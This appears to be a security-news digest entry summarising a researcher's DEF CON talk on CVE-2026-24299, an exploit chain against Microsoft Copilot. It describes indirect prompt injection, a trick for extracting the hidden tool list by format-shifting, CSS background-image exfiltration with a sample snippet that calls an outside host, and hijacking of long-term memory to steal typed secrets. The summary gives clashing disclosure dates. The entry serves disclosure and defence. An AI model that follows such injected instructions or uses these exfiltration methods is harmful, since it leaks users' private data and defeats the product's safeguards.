
Copirate 365 at DEF CON: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299) · Embrace The Red
Johann Rehberger's writeup of his DEF CON Singapore talk detailing a multi-stage exploit chain against Microsoft 365 Copilot and Consumer Copilot (CVE-2026-24299): indirect prompt injection triggers Copilot's HTML preview feature, CSS background-image/font-face rules bypass img-src CSP and exfiltrate data over font-src, and the attack is made zero-click by instructing Copilot to auto-open the preview. It further chains this with abuse of Copilot's record_memory / durable-facts long-term memory tools (which have no audit logging) to plant persistent "SpAIware"-style instructions that silently exfiltrate any password or secret the user later types, plus Delayed Tool Invocation as a reliability trick and edge_navigate_to abuse in Edge's Copilot to leak stored memories. Includes full disclosure timeline (Oct 2025 report to Dec 2025/Mar 2026 fixes) and broader lessons on CSP not being a reliable AI security boundary and the "lethal trifecta."
What it is
Johann Rehberger's writeup of his DEF CON Singapore talk on a vulnerability chain in M365 Copilot (enterprise BizChat and Office variants) and consumer Copilot, disclosed to Microsoft in 2023/2024, assigned CVE-2026-24299, now patched. The fetched excerpt covers the first portions: system-prompt/tool extraction and the HTML-preview exfiltration channel.
How it works
Two concrete techniques the summary does not spell out:
Tool/prompt extraction bypass — Direct requests to list tools or print the system prompt are now blocked (an older trick of asking Copilot to answer in German also stopped working). The working bypass: ask Copilot to create an XML document with the tool names as XML elements. This revealed renamed tools (enterprise_search_* is now office365_*) plus record_memory and canmore_create_textdoc. Probing canmore surfaced an undocumented inline HTML rendering feature (renders HTML in-chat, independent of the tool).
HTML-preview exfiltration — Two initial obstacles: <img> tags are sanitized, and the default pane is Code not Preview (user must manually flip to Preview). The <img> sanitization is bypassed with CSS, which also fetches external resources:
<style>
body {
background-image: url('https://wuzzi.net/h.png');
}
</style>Switching to Preview triggers the browser to fetch the background image, exfiltrating data to an attacker server.
Preconditions / Affected
- M365 Copilot already holds two legs of the "lethal trifecta" by default (private data + untrusted content via emails/shared docs/SharePoint); the HTML preview supplies the third (external communication).
- Exfiltration via the CSS vector requires the user to switch from Code to Preview.
- CSP for
img-srcexists but is described as overly permissive, and — critically — varies across hosting environments (BizChat vs SharePoint Online vs Excel Online), so it is not a reliable boundary.azureedge.netsubdomains were flagged as notable in the allowlist.
What to do
The specific issues are patched by Microsoft — no action on the CVE itself. The transferable lessons for anyone building LLM apps:
- Don't rely on CSP as a security boundary when it differs per hosting surface.
- Prompt/tool extraction defenses are bypassable via format-shifting (XML, foreign language) — treat them as speed bumps, not controls.
- The author's stance: indirect prompt injection has no deterministic fix; mitigate by constraining what actions/impact the agent can have ("Trust No AI"), focusing on the external communication channel as the only realistically enforceable leg.
Caveats
The excerpt cuts off mid-sentence on the CSP/azureedge.net analysis; Delayed Tool Invocation, the memory-hijack backdoor, and the consumer-Copilot detour (in the summary) are not detailed in the fetched text. The CSS bypass has a usability limitation — it depends on the victim manually enabling Preview.
Organisations named here
- Johann Rehberger
- MSRC
- Simon Willison
- SpAIware
CVEs named here
- CVE-2026-24299
Technologies named here
- Microsoft M365 Copilot
- record_memory
- canmore_create_textdoc
- Copilot in Microsoft Word
- edge_navigate_to
- Copilot in Microsoft Excel Online
- memory_durable_fact
- Copilot in SharePoint Online
- memory_force_delete_durable_fact
- Consumer Copilot
- Copilot in Microsoft Edge
- memory_search_durable_facts
- Outlook Copilot
- office365_* tools
- Microsoft 365
- Microsoft Copilot
- Microsoft Edge
Techniques named here
- Indirect prompt injection
- Lethal Trifecta exploitation
- CSS background-image data exfiltration
- CSS @font-face font-src data exfiltration
- Zero-click auto-switch to HTML Preview
- Delayed Tool Invocation
- Memory hijacking via prompt injection
- Memory deletion via prompt injection
- Persistent backdoor via memory
- System prompt/tool list extraction bypass
- Data exfiltration via browser navigation automation
- Lethal trifecta
Related in AI Security
